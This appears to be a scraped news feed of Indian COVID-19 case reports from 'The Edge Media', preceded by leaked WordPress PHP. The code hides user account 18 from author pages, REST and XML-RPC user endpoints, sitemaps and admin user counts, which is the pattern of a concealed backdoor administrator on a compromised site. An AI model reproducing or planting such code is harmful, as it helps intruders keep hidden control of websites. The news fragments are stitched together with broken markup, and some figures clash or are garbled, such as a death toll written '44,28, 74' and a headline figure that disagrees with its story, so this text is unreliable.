add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 3,303 New COVID-19 Reported In The Last 24 Hours In India appeared first on The Edge Media.
]]>Today, 39 people died throughout the country, increasing the overall number of Covid-related deaths to 5,23,693. According to the government, active cases account for 0.04 percent of total infections, with a countrywide COVID-19 recovery rate of 98.74 percent.
The post 3,303 New COVID-19 Reported In The Last 24 Hours In India appeared first on The Edge Media.
]]>The post Several Indian States Make Masks Mandatory Due To Rising Cases appeared first on The Edge Media.
]]>Last week, the Delhi administration stated that masks would once again be required, with a fine of Rs 500 if they were not worn. The state administration made the decision after India’s R-value — a measure of how rapidly a disease spreads across the population — surpassed 1 for the very first time since mid-January.
The post Several Indian States Make Masks Mandatory Due To Rising Cases appeared first on The Edge Media.
]]>The post Last 24 hrs. – India reports 2,64,202 new cases, 5753 of Omicron. appeared first on The Edge Media.
]]>The post Last 24 hrs. – India reports 2,64,202 new cases, 5753 of Omicron. appeared first on The Edge Media.
]]>The post DDMA is considering permitting offline sessions for 6-8 weeks after the holidays, according to LG appeared first on The Edge Media.
]]>Baijal said in a series of tweets, “Chaired the 25th meeting of DDMA to review the COVID19 situation in Delhi… As suggested by the experts, it was decided to consider opening middle school classes 6-8, after the festive season. All the stakeholders were called upon to work in a coordinated manner towards ensuring adequate preparedness for tackling any future challenges.”
For students in grades 9 and up, schools are currently permitted to conduct in-person sessions.
The post DDMA is considering permitting offline sessions for 6-8 weeks after the holidays, according to LG appeared first on The Edge Media.
]]>The post Covid: India’s new case tally falls below 20,000 for the first time in two days, with recoveries reaching new highs appeared first on The Edge Media.
]]>The recovery rate now stands at 97.83 percent, the highest since March 2020, with 28,178 patients cured within the same period.
At the time of writing, there were 2,82,520 active cases, accounting for 0.84 percent of the total cases (337,16,451) reported in the country since the epidemic began last year. The number of ongoing cases has also dropped to its lowest level since March 2020.
The post Covid: India’s new case tally falls below 20,000 for the first time in two days, with recoveries reaching new highs appeared first on The Edge Media.
]]>The post The MHA has extended the Covid rules until October 31st appeared first on The Edge Media.
]]>
Union home secretary Ajay Bhalla warned all state and union territory chief secretaries about the potential of Covid-appropriate behavior not being strictly followed over the next festival, which might lead to another spike in cases.
Despite a decrease in Covid-19 cases, he stressed the importance of enforcing norms that allow for regular celebrations in a cautious, safe, and Covid-appropriate manner.
The post The MHA has extended the Covid rules until October 31st appeared first on The Edge Media.
]]>The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>
For the second day in a row, India saw a dramatic decrease in daily new instances of COVID-19 infections. India reported a single-day increase of 27,254 coronavirus infections, bringing the total to 33,264,175, according to the Union Health and Family Welfare Ministry.
Kerala had 20,240 COVID-19 cases and 67 deaths out of 27,254 new COVID-19 cases and 219 deaths reported in India in the last 24 hours, according to the Health Ministry.
Active cases of COVID-19 infections decreased by about 10,652 throughout this time, to 3,74,269 currently. According to data posted at 8 a.m., the COVID-19-related death toll has risen to 44,28, 74, with 219 daily fatalities reported on Monday.
The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>The post If no single vaccine dosage is taken by September 15, Punjab government employees would be sent on mandatory leave appeared first on The Edge Media.
]]>
Employees in the Punjab government who fail to take even the first dosage of the Covid vaccine for reasons other than medical may be forced to take a vacation from September 15. This was announced by chief minister Amarinder Singh on Friday as a move to protect the people of the state from the disease and to ensure that those who are vaccinated do not have to pay the price for those who aren’t.
The chief minister said vaccine effectiveness is obvious from the data being analyzed during a high-level virtual Covid review conference held on Friday. Government employees have been targeted specifically, and any who refuse to get vaccinated will now be ordered to take time off until they receive their first dosage.
The post If no single vaccine dosage is taken by September 15, Punjab government employees would be sent on mandatory leave appeared first on The Edge Media.
]]>The post No active cases of Covid – 19 in 33 districts of UP appeared first on The Edge Media.
]]>The 33 Covid free districts include Aligarh, Amroha, Ayodhya, Baghpat, Ballia, Balrampur, Banda, Basti, Bahraich, Bijnor, Bhadohi, Chitrakoot, Chandauli, Etah, Deoria, Fatehpur, Ghazipur, Gonda, Hamirpur, Hapur, Hardoi, Hathras, Kasganj, Lalitpur and Mahoba. The list also includes Moradabad, Muzaffarnagar, Pilibhit, Rampur, Saharanpur, Shamli, Siddharth Nagar, and Sonbhadra, according to the state government data.
Overall, the state has a total of 199 active cases, while the positivity rate came down to less than 0.01 per cent. The recovery rate, meanwhile, has improved to 98.7 per cent. As per the state’s health bulletin, Uttar Pradesh reported only 11 new Covid-19 cases and zero deaths in the last 24 hours. The fresh cases came out of 2.26 lakh samples that were tested in the last 24 hours. As of Friday, the state government has conducted 7.42 crore tests, according to the data published by Uttar Pradesh’s health department.
On the vaccination front, around 7 crore people in the state have received their first dose of the jab. The vaccination coverage in the state has exceeded 8.47 crores, out of which, 12 lakh people have been inoculated in the last 2 hours.
Meanwhile, the overall nationwide tally climbed to 33,174,954 after recording 34,973 cases in the last 24 hours. This was around 19% lower than Thursday when the country had logged 43,263 fresh infections. The death toll stands at 442,009.
The post No active cases of Covid – 19 in 33 districts of UP appeared first on The Edge Media.
]]>The post In the last 24 hours, India has reported 43,263 new cases appeared first on The Edge Media.
]]>
India reported 43,263 new Covid-19 cases in the last 24 hours on Thursday. According to data updated at 9 a.m. by the Union health ministry, the country’s total coronavirus tally has risen to 3,31,39,981.
Kerala reported 30,196 new cases in the last 24 hours, accounting for nearly half of all new cases. With 338 more deaths in the last 24 hours, the death toll has risen to 4,41,749 people. In the last 24 hours, there have been 2,358 new active cases. The active caseload is 3,93,614, or 1.19 percent of the total number of cases.
The post In the last 24 hours, India has reported 43,263 new cases appeared first on The Edge Media.
]]>